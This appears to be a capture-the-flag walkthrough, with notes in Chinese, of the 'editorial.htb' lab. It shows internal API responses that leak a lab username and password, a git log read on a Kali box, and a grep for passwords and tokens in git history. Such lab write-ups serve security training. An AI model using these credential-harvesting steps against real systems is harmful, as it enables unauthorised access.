GET /static/uploads/e6b2b5a2-d16a-4f67-accb-8cbe446f69ca HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: image/avif,image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://editorial.htb/upload
1
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
{ "messages": [ { "promotions": { "description": "Retrieve a list of all the promotions in our library.", "endpoint": "/api/latest/metadata/messages/promos", "methods": "GET" } }, { "coupons": { "description": "Retrieve the list of coupons to use in our library.", "endpoint": "/api/latest/metadata/messages/coupons", "methods": "GET" } }, { "new_authors": { "description": "Retrieve the welcome message sended to our new authors.", "endpoint": "/api/latest/metadata/messages/authors", "methods": "GET" } }, { "platform_use": { "description": "Retrieve examples of how to use the platform.", "endpoint": "/api/latest/metadata/messages/how_to_use_platform", "methods": "GET" } } ], "version": [ { "changelog": { "description": "Retrieve a list of all the versions and updates of the api.", "endpoint": "/api/latest/metadata/changelog", "methods": "GET" } }, { "latest": { "description": "Retrieve the last version of api.", "endpoint": "/api/latest/metadata", "methods": "GET" } } ] }
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
从中提取有效信息:
1
Your login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@
(base) ┌──(kali㉿kali)-[~/…/tmp/apps/.g it/logs] └─$ cat HEAD 0000000000000000000000000000000000000000 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 dev-carlos.valderrama <[email protected]> 1682905723 -0500 commit (initial): feat: create editorial app 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 1e84a036b2f33c59e2390730699a488c65643d28 dev-carlos.valderrama <[email protected]> 1682905870 -0500 commit: feat: create api to editorial info 1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dev-carlos.valderrama <[email protected]> 1682906108 -0500 commit: change(api): downgrading prod to dev b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dfef9f20e57d730b7d71967582035925d57ad883 dev-carlos.valderrama <[email protected]> 1682906471 -0500 commit: change: remove debug and update api port dfef9f20e57d730b7d71967582035925d57ad883 8ad0f3187e2bda88bba85074635ea942974587e8 dev-carlos.valderrama <[email protected]> 1682906661 -0500 commit: fix: bugfix in api port endpoint (base) ┌──(kali㉿kali)-[~/…/tmp/apps/.git/logs] └─$
.git/logs/HEAD 文件是 Git 用来记录每次更新 HEAD 的日志文件。HEAD 指向当前被检出的分支或提交,因此,每次执行切换分支(checkout)、提交(commit)、合并(merge)等操作时,都会更新 HEAD 的指向。.git/logs/HEAD 会记录这些操作的详细历史,包括以下信息:
操作之前和之后的提交哈希:用于记录 HEAD 的变更路径,方便追溯操作历史。
执行操作的用户和时间:通常包含执行该操作的用户和具体时间戳。
操作说明:例如 commit: <message>、checkout: moving from <branch1> to <branch2> 等,详细描述了具体的 Git 操作。
feat: create editorial app * This contains the base of this project. * Also we add a feature to enable to external authors send us their books and validate a future post in our editorial.
从输出结果看,没办法快速定位哪个记录有敏感信息,通过全量查看或者过滤关键字的方式查找敏感信息:
1
git show 1e84a036b2f33c59e2390730699a488c65643d28|egrep -i "password|username|token|pwd|prod|root"